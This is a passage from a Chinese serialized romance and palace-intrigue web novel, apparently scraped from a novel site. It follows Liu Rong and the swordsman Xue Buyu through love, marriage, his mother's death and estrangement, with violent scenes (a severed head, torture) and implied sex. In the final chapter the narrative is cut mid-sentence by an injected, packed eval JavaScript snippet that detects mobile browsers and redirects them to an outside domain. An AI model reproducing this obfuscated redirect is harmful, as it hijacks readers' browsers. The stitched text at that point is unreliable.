“你师兄生前最想阅的一卷佛经,方才那位萧兄府上有孤本,来年清明,我想烧给他。” 师兄二字清楚落进耳内,坐上的人薄唇缄默,心头酸痒地饮了口酒,压下胸中燥热。 他道是何事值得她上心,原来…… 是他的师兄,还是他的师兄。 隔了许久,久到更漏将尽,薛不虞兀的开口,“我也能替你找书。” 柳茸双眸望了过来。 “你就没想过用我?下次你同人借书这等小事交我交涉就行了,抄书,我也是在行的。”他趴在酒岸脑袋一歪,细细看她,双眸在酒意下清亮。 “远亲不如近邻,柳大人看,我成不成?” “我还以为薛郎君消失了呢。” “爷哪消失了?”他将剑置在酒案。 “那几日不见影?” “我……”薛不虞词穷。 “总之不会了,日后也不会了。”他讪笑吃酒,撩撩微乱的发帘。 薛不虞说到做到,真就没再消失。 每日柳茸放值,廨中外,总会见到一抹不羁的身影,他似一柄醮了酒的剑,安静等在官廨外,甩着酒绳,邀她吃酒。 偶尔在吃酒时,穿过佳酿馨香,在花旨酒间,见薛不虞闷声不语。 自己是没消失,但架不住总有人爱往柳茸身旁凑。 一个女子,生得惹眼进出廨中,既有才干又有风仪,同为男子,薛不虞太明白不动心思才不正常。 借书的“萧兄”、结结巴巴邀柳茸放值的侍郎、得柳茸一碗义粥就仰头看直眼的乞儿……那些男人的眼快黏着她走了。 看得人恨不得挖出黏在她身上的眼睛,抠掉。 先时怎未发觉她身边的男子如此膈人? 而他,能做什么呢? 他是崔元的师弟。 是离她最近又最远的人,最不能够到她的人。 梦醒阑珊,她的身影褪去,留他一人遣闷。 当日牢狱中崔元嘱咐的话响在耳畔,话中深意迟迟而来,摧枯拉朽磨折晚到如今才悟懂的人。 可惜太迟了,迟到有人向她提亲的人亲自登门。 从来隐匿树上的他得知动静,终是选择不再按捺,马不停蹄奔向她卧房,将自己在她眼前撕透。 * “你还记得五年前的冬至夜,你对我说了什么吗?” 皇宫内,柳茸烹着茶,递给身下的人。 打下朝后入了亭台里密谈,他便是一副跪坐之姿,头埋得极低,不再用双眸看她。 沸水烫过的茶盏放入他掌中,他指尖微动,毫无一丝反抗地接住。 薛不虞:“不记得了。” 柳茸翩翩拉下眼帘,茶汤般剔透的双眸即将浑浊之际及时掩住,“找你来不是叙旧的。” “今岁是大梁第一次女子科考,也是由古迄今第一次,薛不虞,本宫要你确保万无一失。” “你可能做到?” “娘娘希望臣做到何种地步?” “赵玉则。”她在棋盘落下一子,“听闻北地羯族与他有往来,本宫希望女子科考那日,国泰民安,风调雨顺。” 引外敌发难一事前朝不是没有过,女子科考尚不至于让赵玉则风险一试,但若以此一举除掉她,又能将外族入侵归咎阴盛阳衰,难保此人不会在何处做手脚。 任何对策都要做足,已是她与赵玉则交锋多年俯仰间的反应。 宫娥将茶汤里的银针撤去,柳茸握起杯盏,吁吁吹冷。 “你有御敌的经验,不要让本宫失望。” 至于外朝与长安,有她自己坐镇。 面前的人领命行礼。 “你不问问本宫究竟要如何做?” “娘娘既交给我,必然已想好所有安排,就算我问了,也不会动摇娘娘做任何事,剑只需做剑该做之事。” “将军是我大梁功臣,若有异议随时可向本宫提。” “我只听娘娘的。”他定定抬起眼眸。 “娘娘可还有吩咐?” 柳茸不言语。 “那,臣先告退。” “薛将军。”柳茸出言,走到亭外的人背影稍杵。 “科考事成,本宫请你十坛酒。” 人走了。 就像当年出现在她生命里一样来去匆匆。 柳茸扶着桌角站起,天色蒙雾,一如他与自己初曝露心迹的冬至夜。 那夜的他凌乱湿透,身上不比现在干净,带着不知是谁的血,在她的庭院下站了不知多少时辰,就为等她开窗眺望的一瞬。 她移开门闩。 他似恶鬼站在雪里,霁蓝的袍子被血浸成墨色,滴成红莲。 “你怎么在那?快——” 来人直行而来,二话不说以吻封缄,堵住她未尽的话语。 啪,掌掴声回荡雪地,薛不虞的脸即刻见了血。 一掌打花剑眉星目的脸,也打断唇边唐突的亲吮。 又是一掌。 薛不虞连眼睫都不曾翕动,任由她掌心落下。 “你疯了。”柳茸道。 然而对方没有回应。 第三道掌风即将落到他发红的脸边时,他一个拥扑锁紧她。 “我知道了。”他的声音里隐忍着听不懂的情愫,深埋着头,蹭花她的淡妆,“全都知道了。” “是你,那夜是你。” 柳茸的心坠下,隐隐的揣测涌上,却不敢问出口,收拢着五指抚上他的头。 “你说胡话了……” 薛不虞没有恼,轻笑着抛出怀中人头,人头骨碌碌停在阶前,一张被风霜侵袭的男人的脸,煞白如纸,被血染透。 是前日刚刚向柳茸提亲的人。 “我去找他,问他为何向你提亲,你猜他告诉我什么。” 必然不是什么好事。 柳茸想,见薛不虞这番表态,约莫是折磨了那人一番,对方痛极松口,或是气他,或是从实招来。 “他说,他在留春台见过你。我问,哪个留春台,他说就是那个留春台。” 薛不虞嗤笑一声,转着剑上剑穗,“说自己从前是留春台的常客,给台上拨琴的柳大人赠过花,与柳大人有旧。” “我又问既然如此为何当初不提今日方提亲,他说,‘戏子与士人怎相配,今时不一样,今时的柳大人为官,又与他与旧,娶来百利无害,缘何不能提亲?彼此结亲在官场也能相互照拂。’” “他想巴结赵玉则,可惜啊,赵玉则看不上他,便想从你入手,你若不从便将你在留春台一事散播出去。” 想到那人痛到神 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回忆如潮涌来,一声声叩问他的心。为何当夜不回头多望一眼,为何不再多留片刻。 他尽力回忆,除开杀过的人,一切模糊遗忘。 当夜女子的脸他早已不记得,许久,才从渐渐湮灭的幻泡里拾起残存的画面。 尸身随剑身仰倒,露出身后的女子,血色床幔里,她裸|呈的身躯托住倒下的尸首,徒添诡异的香艳。 少年人不为所动,满心满眼是江河阔大,不会懂,也想不到,多年后的他几乎恨没把年少时的自己按住头,一遍遍遥想,为某个一面之缘遗恨。 漫不经心落入眼眶的画面在忆海中无限延展,只留下一白一红两道朦胧的躯干。 当初最忽略的事物又一次成了最迫切的念想。 “你没有资格娶她。”起身见柳茸前,薛不虞挑起未断气的提亲之人。 一口血啐上薛不虞眉骨傲然的脸。 死到临头,地上之人意识到症结似的开悟,半晌笑起来,“我道与你无冤无仇绑我做甚,原是为了她!” “我告诉你!什么柳大人,不过是贱籍里爬出来的伎子!我玩过的女人比你耍过的剑都多,真以为她是什么高不可攀?她若不是有个官职真以为我愿意求娶?那个女人,早不知被多少人试过了,包括你师兄!” “住口!”薛不虞的刀重染鲜血。 对面的人愈发口不择言,“我说中了吗?你自己是个与师兄的女人不清不楚的,你师兄岂非一丘之貉!这官位,指不定就是将你师兄伺候舒服了换的——” 头骨碎裂的声音代替暴呵,地上,再不闻咒骂声。 回过神来,他已将人脖颈拧断。 去往柳茸住处的路上,薛不虞一路思绪繁杂,然见到她的刹那,一切愁绪消散如烟,化开清风明月。 他抛出人头。 他不信她不想杀,他替她杀了。 “脸上,有血。”柳茸划了划他的脸,去拿帕巾。 “不许走。”一双手桎住双臂。 “是你……那日是你,你早就见过我了是不是?”炽热的胸膛从后揽住她。 “我若说不是,你,相信吗?” 是她。 纸窗前,薛不虞睁开眼,无声凝着窗上女子的影子随蜡炬一寸、一寸斜落下去。 “若是那夜我带你走,”他的声音略微哽住,“我和师兄……你还会选他么?” 41. 钟情 天际劈落一道霆霓,柳茸至今还记得那个夜晚。 那夜梏着自己双臂的手不是说笑。 它的主人,是认真的。 她听见身后男人的气息缓缓挨近,却又在即将靠上她颈窝一刻止住,留下几缕垂落的发丝。 落进襦裙边际,衣中轻挠,似幼狸的毛。 “若我知道来日肖想的是你,”他启唇,带出口的是满腔滚热,“最初在勾栏院便会劫走你,任你打也好、骂也好我都要劫你,决计不分师兄半点肉汤喝。” 年少之人尚未学会伪装,胸意直抒,炽灼地熨烫着她。 “所以,能不能选我?” ——别看那些男人了,看我吧。 舍予半点注视就好。 她爱人时的模样,薛不虞见过。 在益州的青瓦陶砖下,锦官城的细雨飘风里,他见过她与另一个人的俦侣无二,双宿双寝。 眼底是对另一个男人、一个于他眼中也挑不出瑕的人的情爱,流露如荷间凝珠。 唇上绵绵密密浮起一阵迟来的焦躁,薛不虞望着前方不回头的背影,不由得心间发紧。 他过去嗤之以鼻的情爱,现在求之不得,仰着头讨食般,希求她的施舍。 那句话如何说来的? 人呐,真的不能把话说太满。 “薛不虞,你是他师弟。” “嗯。” “他是你师兄。” “不用你说……”落在柳茸双臂的手终于变成拥紧肩头的力道。 柳茸想走,脖间揽着的手臂岿然不动。 青年的声音缓慢又疲惫。 “来见你时,我走了一路,一路踏着雪退退进进的想了很久,我何曾如此不要脸皮过?可有人向你提了亲,我才发觉,一想到日后你身边站着旁人,小爷那才叫不甘心。” “什么脸皮的,如我这等孽子从来没有过。放着好好的官不做京城不待,目无王法杀人私斗,出格事干净了说自己对一段情望而却步,不像我,也不是我。” 与崔元的关系如同重重加在他身的枷锁,囿困住不断冒头的悸动。 不敢承认、不愿直面。 直至柳茸被人求娶,忌恨蒙过双眼,薛不虞恍悟。 他何曾是什么好人?忧愁寡欢、患得患失,自己不像自己。 从前花间吃酒的剑客,最想要的酒便去争,最欢喜的剑便去夺,快意傲游云海,掂得起,放得下。 可她与酒与剑不一样,于她面前,他才是摆在酒铺里待有缘人采的酒。 长安酒香铺子也多,顷刻不见,她身边摆满了不请自来的酒,好的劣的一股脑自卖自夸。 分明自己是比他们都先来的。 此后柳茸门前,偶尔摆了一壶酒,有时清晨刚出街的第一笼糕点,雪融时,屋檐偶落一绺留下多时的朱红剑穗。 薛不虞丢了脸皮起来确实肆无忌惮,将不少对柳茸起心思的公子视为雠敌,公鸡相斗般啄了不少人。 他不是一个大度之人,见不得旁人分走柳茸的注意,连她摸过猫儿的手都恨不得凑头上去,蹭掉她手上猫味。 柳茸接纳他那日是场春雨后的庙会,丢了伞的二人架住衣奔回府烤火,他衣物湿透紧贴薄肌,转着发辫对她甩雨。 “你要想好,跟了我可是会背上不好的名声的。” “小爷哪有名声。”他笑,“全天下人知道又如何?我就是要全天下人知道我和自己师兄喜欢上同一个人!” 一件干衣兜头扔来,蒙住他放着狂言的头。 再不止下去不知此人又要出口何等不像样的话。 干衣摔在脸上,从头覆落,青年的身躯破开素净的衣袍,奇袭而来,反手抱住了柳茸。 “做不做?”他发梢尚湿,鸦青色的发上残留着沐浴的皂香。 问话问得直率,柳茸以为听错了,薛不虞又问一遍。 她扎扎实实听清了。 “你想好了?” 师出同门,她还想着薛不虞约莫会同崔元一般不成婚不破戒,不料他于此事说得坦率。 “我想好了,反正也将崔元那厮得罪了,干脆得罪个透底。”念到曾听了多年名字,薛不虞眼中浮上未化的悲伤,快速如沫消散。 “我还以为你同他一样,不破戒的。” “江湖人何来戒律,尘世倒是规束得臻至,也没见几分出于情真,皆是父母之命媒妁之言,我们随心所行,随念所动,只要情是真的有何不可?” 他促狭着眼,“再说,柳大人不先试过怎知好不好?万一我是个不|举的,岂不是亏了柳大人?大人此时抽身而退也不迟。” 柳茸倒是没想到他狠起来竟会这样咒自己,作势要打,那人却截住她手,像根顺杆爬的藤在她臂上靠头,斜支着。 “做不做全凭你一句话。” 一只莲花香的手代替了回答。 似沁凉的莲瓣抚过他的眉睫,擦拭去青丝滴落他脸边的水润。 薛不虞一愣,旋即神色了然地咬住柳茸为撤去的指端,贝齿轻啮。 一阵皮松骨痒,柳茸慢慢从他口中抽回手,“薛公子,如此急女子会不欢喜的……” 女子咬着耳,话音落下,薛不虞当即想好了日后去到阴曹地府是下油锅还是上冰山。 他对不起师兄,是他的错,他日后下去比荆身请罪,但要他忤逆己心,不去想眼前的女子,亦是错,瞒骗的是自己,他做不到。 “那你说……要如何才能女子欢喜?”他的心口在作痒。 柳茸没想好回语,来人的眼已迷雾缭绕,将她的手搭在自身肩头,“你教我。” 她附在他耳边,道了句不知哪学的荤话。 说罢,身下搂着腰的男人一阵面红耳赤。 少顷,她听见他在笑。 常年举剑、覆着薄茧的指尖一挑,榴红襦裙的衣带随之解落。 如焚火化灰,撇进榻角最深处。 她终究和他裹着同一件被衾跌入了地狱里…… 在冲破禁锢刹那,薛不虞视野一片发白,脑中无法思索任何事物,任由她发间香顺沿着刻入骨髓。 稍稍缓神,竟鬼使神差地生发出一束遗憾。 那年那个拥有她梳弄之夜的男人,他不该砍他的。 该大卸八块。 一刀太便宜他了。 原来剑技太好也能吃亏。 “你说,我死后会下十八层地府吗? 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“你莫不是觉得我甘愿没名没分?”薛不虞笑起来,“你错了。” “这里,”一根手指戳戳柳茸胸前左下,皮肉之下,匿着微颤的心跳,“爷比谁都想要。” “方才是谁不要尘世规束?”柳茸取笑他。 “尘世规束是尘世规束,”薛不虞不屑地嗤了声,“我的名分是我的名分,再不规束也不能少了我的名分。” 柳茸后知后觉自己跌入的或许不是地狱,是一个生米煮成熟饭的圈套。 而引自己上套的美人,神容疏朗,真真是色字心头一把刀。 “想去何处?”身后的手拦住撇下被衾要走的柳茸。 柳茸:“批公文。” 今夜因着薛不虞案上定好的公文还未批完。 薛不虞怎也没想到,自己的大敌不是别的莺莺燕燕——竟是桌上薄薄一层纸。 “我随你。”他拍桌,剑身弹起,穿好衣,却在见她束胸时避开双眸。 眸光,不知该放在何处。 即使与女子初尝了鱼水之欢,但不着衣共寝终究是第一回,自己连与师兄都不曾裸呈过,女子便更不消说。 说些字眼露骨的胡话他信手拈来,胡话无人当真,但真真切切地来是另一番事了。 柳茸不会看不出他的心思,识趣步入屏风,却更添几分朦胧。 隔着屏风,有目光频频落在柳茸身上。 她套好襦裙走出,薛不虞偏着头端起酒盏。 这一夜,她的上襦被扯坏。 新衣是几日后赔来的,赔衣的男子敲敲衣奁,邀功般说名贵无比。 “男子一般不是摘朵花儿,而后说什么名贵都衬不上你吗?” “我呸。”薛不虞撑着腰,“那是男子为省钱找的说辞。哪有什么名贵的事物衬不上人的,按我说,你合该穿金戴银。” 他抛着剑穗,邀自己试衣,草草几笔,挥毫绘下她试着春日的模样。 点缀仲春。 42. 春衣 活了二十几载,柳茸没有过新衣是不可能的。 可在薛不虞赠衣前,她又实在不曾收到过任何人的春衣。 曾为勾栏伎时,柳茸一度很厌恶收到新衣,新衣寓意新扮相新脸面,每当鸨母拿来新衣,她知晓,又要抚琴卖唱了。 手里的新衣似一颗强迫鸟儿吟歌的抚慰粮。 密密麻麻,枷锁套身。 伎子身上锦衣,不为裹身,为恩客赏玩。 其中春衣最是无用,大梁的春衣多是爹娘缝制,在开春给孩子穿上,鸨母眼里只有银子,勾栏院也不是同伎子讲情谊的地方,自然没有特地给幼童备春衣的理。 柳茸没有爹娘,也就没有春衣。 后来年岁大些登台抚琴,她收到过无数新衣,绫罗绸缎,水亮光滑,各色俱全。 无一件是春衣。 为官的第一年,倏忽得了点实权的柳茸按捺不住心神,做起畅想百遍的事:特意拨银为育婴堂的孩童备历年春衣。 也奖自己一件。 她像个偷糖的孩子,舔舐着幼时没吃到的甜。 但亲自买的,终究做不到与载满旁人一片赤心的礼一样沉甸,属于她的春衣,到今才与赔罪的新衣一起从薛不虞手中收到。 她将柳绿色的春衣置在鼻尖细闻,闻到满怀芳草香,道声多谢。 那人嘿笑,“这算哪门子道谢?你若道谢,把脸转过来。” 柳茸不明所以转过,两颗虎牙随主人帖了上唇。 他在莺飞草长的白日里吻她、赠她春衣,夜里也不歇停,一番荒唐,在她光洁的背前作画。 青年蘸着白日砚台上剩余的水墨,在她背上落下春华。 好几次柳茸想起被薛不虞摁住。 他呼呼吹着柳茸的薄背,让笔墨快些干。 “别动,小爷好不容易画成的。” “动了拿你是问。小爷要罚你的。” 他神采张扬,手间飞转甩着墨的画笔,虎牙在膏烛昏暗黄光下,虎虎生风,“罚你再也喝不到爷酿的酒。” 话虽如此,第二日他依然带了酒来,同她抱怨着,上次刺杀未果,赵玉则找了个由头派金吾卫监察自己,想避开耳目下手杀人愈发受限。 他不喜欢长安的天,如今为柳茸或为崔元之事囿于这座大金笼子里,实在心闷,成日想着快刀斩乱麻解决诸事飞出去。 正嘟囔着,一只手抚过他的头,将头缓缓按到柔膝上。 前刻还在呼天吼地的人静默了,似被抽了力气般松开杀人的剑,在柳茸柔软的掌心下一寸一寸消磨着冲天的气焰。 至鬓发摸得有些踏,他甘心地放上头,眼也不眨地仰头盯她,如仰满天榴花。 下一瞬抽手解了她的束胸。 他在用行动为她放开紧绷绷桎梏身体的布状镣铐,在告诉她,他此刻很放松,希望与她共享。 日光照在柳茸身上,照进从前不曾照入的部位,那里勒痕相间,于礼,是要束缚起来的,然而于两个相对坦露过的人,礼节束缚不到他们身上。 柳茸胸腔中习惯了抑制的呼吸变得空阔。 裹布一条条抽出,空气中湿萎的旖旎愈发弥漫,虽一开始无此意,但随着一卷卷抽离的白布掷在地上,难以不让人联想到某个夜晚。 尝过人事的躯体是难以再回到一无所知时纯粹的。 膝上躺着的脑袋呼吸匀重,柳茸也不再压抑,落下细吻,对方的回应猛烈如潮,两个困于长安金笼的人只能以彼此做疏解,解着日复一日在事不遂人意里逼迫出的焦渴。 唯一点与薛不虞不同,柳茸,是自己选择了这座金笼。 “赵玉则……”大汗淋漓间,柳茸睁开眼。 身上的男人一滞,豆大的汗珠抖落她雪红的肩颈,“你同他……” “没有、没有……” “我是说,我其实想好了对付他的法子。”柳茸艰难让声音不被打散。 “真的?是什么?” 柳茸没告诉他。 不知答案薛不虞也不急,全然信她,“我就知你有法子。” “好了,别想,”看出柳茸在转脑子,他更加卖力,一只手拉回她的心,“这种时候……还想着别的男人……” 一场春雨初歇。 身上人的整个眼眸都被未尽的余韵点亮,熠熠映着柳茸的侧颜。 他躺在春水绕过的花地,满心满眼是陷入情海的喜悦,商议着他们的婚事。 “这么快?”柳茸恍了神。 “不快你就要被人勾走了。”他抱怨着调侃,但又委实不喜,干那等私密事,她竟走神。 被另一个男人霸占心房。 报复般道:“你若敢对我始乱终弃,我的剑可不长眼。” * 宫里燃起轻烟,日暮黄昏,寒鸦在琉璃瓦鸣着。 柳茸醒时,茶盏已凉。 她从绵长美好的梦醒来,回到带着廊风阴冷的现实,宫娥为她裹上一层暖巾,她摆手撤去。 “薛将军呢?” “已出宫门。” 柳茸颔首,“不要让人知晓他见过我。” “娘娘记错了,将军今日哪有来见娘娘?” 宫娥埋低头,御花园内,两列扈从如常料理,仿若不知,柳茸满意地放下茶盏。 “茶煮得不错,赏。” 对答的宫娥与身后扈从被内监带去私库领赏,柳茸遣退来换班的宫人,喝茶看了眼对座,座在那里的人已走。 她零星想起他来饮茶时的神情。 当年互诉衷肠的人,今一个在皇宫,一个在将军府,但是庭下榴花依旧,甚至开得比从前更艳,灼眼得很。 “更衣,出宫。” “可是娘娘,陛下那里……” “他不必管。” 柳茸换上一身行头,出宫去看几日后女子科考的场地。 今夜是百官同有的休沐日,道上皆是车辙。 民间巷子里,她喜欢偶尔步行一段,依着乔装成百姓的护卫选了条人少的小路。 前方,夜如吞墨,一处空寂的大宅与隔街的热闹格格不入,宅门大敞,匾额不在,树杪声萧条地在宅门里回荡,扫过昔年绮丽的地砖。 柳茸眼熟,又想不起在何处见过这处空置的大宅。 云散月霁,长照千里。 暗红的天上白衣浮云须变苍狗,柳茸心有所触。 透过宅门重重破败之景,窥见里间一处屋梁,方将坍颓的宅院与公主府重叠。 这是城阳公主府。 门口朱红的门槛犹在,红漆剥落,秃露着发霉的木芯子。 那年成亲,薛不虞跨过这道门槛,在日下等待,来接她入轿。 而今久无人居,颓败地难堪。 柳茸自随行侍卫手中提过风灯,独自跨过门槛,入了故 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她紧忙缩手,唤护卫进来搜屋,果真有热源,越是靠近宅邸里越是有股干热哄着脸庞。 几波护卫团团围住,按兵不动。 柳茸眸色平冷,先前追忆时的柔态一下褪去无影,执来一剑悄然走进。 一道人影映在霉墙,墙根火光攒动,拉长人影。 倒塌的木柱上座着一人,霁蓝袍子,身前围着一圈小火,火舌扰动,火周热气如浪涛,看不清烧着的物什。 他没回头,倒先出了声。 “你的剑法还是找我讨学的。” 柳茸移下剑身,剑柄却握得更紧,“薛不虞……” 她止住步履。 挨近看清,热浪下盛着火的,是一个铜盆,也是这座宅邸唯一有的暖色。 “下次握剑时,记得将右手腕提上,容易受伤的。” 烧火的男人依然没有转身,脑勺如长目,对她袖中症结洞若观火。 跟着他的提点,柳茸无声变正手姿,藏剑于袖。 另一只空手摆了摆,随行的护卫相继撤去。 荒草如林的庭院里只剩他们。 薛不虞转身,瞥了眼她身后即将蛰伏入夜的尾巴。 残影虚虚掩掩,非常人之眼所能捕及,滴墨如水般消散夜中,月华流潋,月下唯余她一人之影。 “你如今出行要派如此多人守么……”他的口吻里听不出其他的意思来。 柳茸按下不表,反问:“薛将军在此处做甚?” “为母亲烧纸。” 他面上勾唇,不掺笑意,从身后拖出一筐冥币,“娘娘要同道吗?” 无人应他。 “怎了?莫非……娘娘心中有愧,不敢祭?” 他们的大婚宴上,城阳公主死了。 血,是从公主府留下的。 柳茸踩着脚下地砖。 似乎……就在此处。 公主府外接亲的薛不虞久等不见人,终于嗅到一丝不对。 他一身绛公服,在日头下奔闯,前路既长,又远,直到摸进最深处的庭囿。 然后,见柳茸的刀刺透了城阳公主的喉。 43. 信任 死了。 人死的时候落地声响是闷的,不好听。贵入公主无差别。 柳茸以为自己下一遭就会挨薛不虞一剑。 毕竟,自己手上蜿蜒下流的血,不久前还在他母亲的脖颈里温热地流淌。 血流如注,顺着利刃、剑柄,爬藤般绞紧她发颤的手,蜿蜒在雪做的肌肤,似白玉瓷窑开出红梅色的片。 然而没有,什么也没有。 动天的沉默洄流而下,轰然无声。 薛不虞僵直着脖颈在原地,从巨大的震撼中回过神来,好半日意识到自己是谁,身处何处。 他慢慢走近,抚上母亲的脸,敛骨收尸。 甚至没去看握着血刀的柳茸一眼,也没去问她为何要白日杀人,杀的还是自己母亲。 柳茸垂眸,手间红得粘腻。 城阳公主素日待她不薄,而她的手染上了洗不清的血。 隔了仿若有一世那么久,跪在尚未僵冷的尸身旁的人抬起头,慢慢望她。 眼是空洞的,有不解,有默观,随后升出一股刺挠的痛意,甚至还有他自己都未曾察觉的、浅浅一层恚愤,焦热地灼着柳茸。 唯独没有恨。 他缓缓抽剑,也不怕她逃,咬紧的牙里挤出一个字:“说”。 柳茸没有逃,任由白刃横上她的脖。 半晌开口,另一声动静比她先一步回应了薛不虞,公主府外,北衙禁军金甲麟麟,鱼贯冲入府内,发出刺骨的列阵声。 接亲时暖和撩人的阳光映在此刻兵刃血槽上,冰冷彻骨得骇人。 柳茸开了口:“告诉陈王殿下,公主已薨。” 话,是对禁军说得,也落进了薛不虞耳中。 那一日是他人生中最快乐的一日,也是最难忘怀的一日。 快乐属于前半日,不惧旁人评说取自己心怡的女子,他何其有幸。 也不求白头,但求问心无悔。 难忘属于后半日,婚宴不是婚宴,留给他的不是美人,是一具尸骸。 与枕边人的背叛。 一夕之间,青卢变作狱牢,身穿喜服的男人被押走,临走前回看她一眼。 日头毒辣,照得柳茸面色发红。 她眯着眼,并没有洗净手上鲜血的打算。 一顶幂篱盖过她的头,眼前头戴另一张幂篱的男人从辇舆上下来,禁军统领对他微微作揖。 赵玉则端的赐她幂篱,像是褒奖,公主府的好些“罪证”,要谢柳茸才能搜集。 城阳公主与其子屯幕私兵、畏罪自裁的告示不日张贴于京城,那场大婚再无人谈。 薛不虞和几位兄长都入了狱。 此案原本可抓大放小,大理寺严审,关系不到无官一身轻的薛不虞身上,奈何此时皇子夺位,新皇未立,明争暗斗间有人定死了不放人。 “阿茸心软了?” 幂篱里的男人轻笑着,手指翻动一卷卷宗。 “这可如何在我跟前做事?”赵玉则似调侃般说着。 柳茸道:“我想去狱里,亲审此案。” “是为了见他吧。”赵玉则头戴着的幂篱一歪,像是在矜矜掩笑。 “好哇,”他答得轻快,“这是你第二次进狱里见男人了,路应该很熟。” “不过阿茸,我的幂篱,是不是该还了?” 柳茸取出幂篱,仆从盛上,赵玉则没有碰,手稍微退了退,尽量不让飘动的白纱挨到自己。 他敛手让仆从收走,决计不曾想到有日会亲手缝补。 下了刑部大狱的人,没有不带一身伤出来的。 薛不虞一身婚服被扒去,过了正午,受尽严刑,以至于到今,他身上还留着伤痂。 然而那年在狱中,他被打得昏死,望见柳茸的第一眼,不是说话,不是怒吼,仅仅是盯着。 ——“我母亲是你杀的吗?” 开口只问了这一句。不闻一点质问与恼怒,只为求一个答案。 “不是。” 薛不虞听到答案,缓目闭上眼。 “她要自裁,我没能拦住。” “但是薛不虞,今日,我要审你。” 闭眼的囚犯睁眸,仰头倒看着一栏之隔衣衫完好的官差大人。 “城阳公主赵璇玑与其子勾连齐王,屯兵京畿,意图攻城夺位,事发畏罪自裁,抄没其府。”她声音落下,薛不虞忍痛笑出声,笑达肋骨,痛咳了几声。 “是赵玉则教你说的?”地上躺尸的人口唇干哑。 “你起先是不愿意住在公主府的,突然答应我了,也是他的意思?” 身旁的录事是赵玉则的人,柳茸闷声不应薛不虞的话。 刑官继续上刑,薛不虞铁青着脸,硬是没开口点头认过一句城阳公主的罪,只是道: “我娘不会自尽。” 说这话时,他像一头爪牙未磨尽的幼狼,干涸的眼死死望着柳茸。 一如现在,公主府里烧纸祭母,他的眼也在火色点染里,倒影着自己的身姿。 荒庭夜色的火光里,柳茸看着烧纸的他,袖口显露出遮掩不住的斑驳交错。 柳茸低眉,从他手边的铁筐取了张冥纸,投入火盆中。 火滋啦地作响,火光一瞬亮起,卷噬冥纸。 “你没有死……” 同样的话,她对薛不虞说过两遍。第一遍是大理寺为其判罪,发配充军,他从杀伐无尽的肉山中捡回一条命时。 第二遍是在今日。 他嘴角衔挂一抹冷笑,“娘娘错了,我不是没死,是没死成。我薛家的男儿,我的兄长,尸骨作水,被铁马践在旌旗下,唯有我从地狱里爬回来,又来见娘娘了。” “虽说我与几位兄长也不算熟,但终归是兄长。”他哦了声,“我忘了,棠棣之情娘娘没有过,不会懂的。” 伸手靠近火舌,企图汲取了些许暖意,他的掌心缓缓合拢:“我娘待你不薄。” “那你,为何不杀我?”既然认定了是自己杀了城阳公主,薛不虞为何不杀自己。柳茸也想问。 “好问题……为何呢……”火焰上,薛不虞转着手掌。 “大抵是答应了师兄,要护着你,背信弃义的事我不做,我不杀你。” 但是会折磨。 战场血流漂杵,人头连着没彻底剥落的皮吊在半歪的脖颈上。 他从如此炼狱血海里爬出来,身心都被铁骑踏碎了一遭。 重新回到长安,他孑然一身走在大道,一旁花轿红事扰人,他闻声抬眼,花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208717|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轿内柳茸新妆倩容,是她与另一人成婚。 过去他时常想柳茸为何要这么对他,是因他对她的官位无甚裨补,或是他无法在官场帮她更多? 但都不重要了。 漏雨的屋檐下,他半人般鬼。 薛氏旁支凋零,朝廷念其有功无罪,的确不曾参与任何党政祸事,又于夺位之争中杀敌无数,新帝感念,复袭爵位。 未出事时不听人言去寻官问爵,遭人讥讽,而今白衣一身,反倒保全了他。 内官给他敕封书,问他意思。 生平头一遭,薛不虞对着封爵的御纸,跪了下来…… 那段时日,柳茸还不是宫妃,是太尉妻,庙堂间,他们几乎是死磕。 柳茸要推行一令,他就驳斥一令,不说朝臣,就连民间皆知二人不和。 转眼回望,这段时光如梦般不真切。 “我还记得你那日来接亲的模样……”柳茸伸手向火盆。 薛不虞拿钳子的手抖了抖,眉心一蹙,哂笑道:“过去的事何必再提。” 他咬死了话头,扼杀在火里。 冥纸翻飞,热浪灌入袖口,柳茸被火挡了眼。 “我认识的薛不虞不是个甘愿束手就擒的人,”柳茸突然吭声。 “却甘愿被禁军押入大狱。” 他的性子,杀官、杀王,不会怕禁军,换作从前必然是提剑杀出围,可他没有做太大反抗,由禁军缚上车。 便只剩一个解释,他想——亲身入局在狱中探到杀死城阳公主的真凶。 “你信我,对吗,薛不虞?”又问一遍,她目光坚定。 “你信城阳公主不是我杀的。” 剑鞘上的金合欢映着微光,一只手背斑驳的手握紧它,发出细微金属扭动声。 薛不虞道:“纸烧完了。” “娘娘自便。” 他拍掉手上纸屑,从木柱上取下斗笠起身,也取下斜靠月下的故剑。 踱步出了公主府。 他不信母亲会自我了结,也不信柳茸会杀她,这对柳茸没有好处。 好处……薛不虞好笑,到头来他相信他不是因为信她有情,而是因为俗世间的利害才信她。 她给自己的印象竟是这样。 可是,要做到不迁怒一个见证一切却“见死不救”的人是很难的,人之常情,都希望尾困时遇到的是良善之人,而被众人甩手陷于泥潭时,人都希望找谁来恨。 仿佛如此心中伤痛就会减弱一横。 那日母亲被刺时,在场只有柳茸。 是她拿了刀,染了血,她看着母亲咽气。 以至于每每见到她,就会想起母亲倒下时呕血的唇。 朝廷给城阳公主盖棺定论是自裁,审案的是柳茸,说公主已哄的是柳茸,认定自尽的还是她。 他无法怪她。 却也无法无视这场血海,当作母亲、兄长仍在,一家和美其乐融融地陪她回到过去的赤诚。 胸腹隐隐作痛,如被她用这片赤忱反手捅了一刀。 薛不虞按了按,若无其事迈开步子。 只有真正付出情过,出现裂痕时才会痛得难以承受,才会剧烈地反应。 而那天的裂痕,打灭了他一腔赤忱。 44. 回宫 人走火熄,公主府只余一丝烟缕陪着柳茸。 烟尚未散,柳茸撤步。 朱门古朽,寻常打扮的女郎立在门外,身影青青。 “小青,等多时了。”柳茸招手。 小青委屈地告状:“方才我来时,薛哥摸我头。” “阿姊又是何必呢?”年纪不大的人撇着嘴,打抱不平。 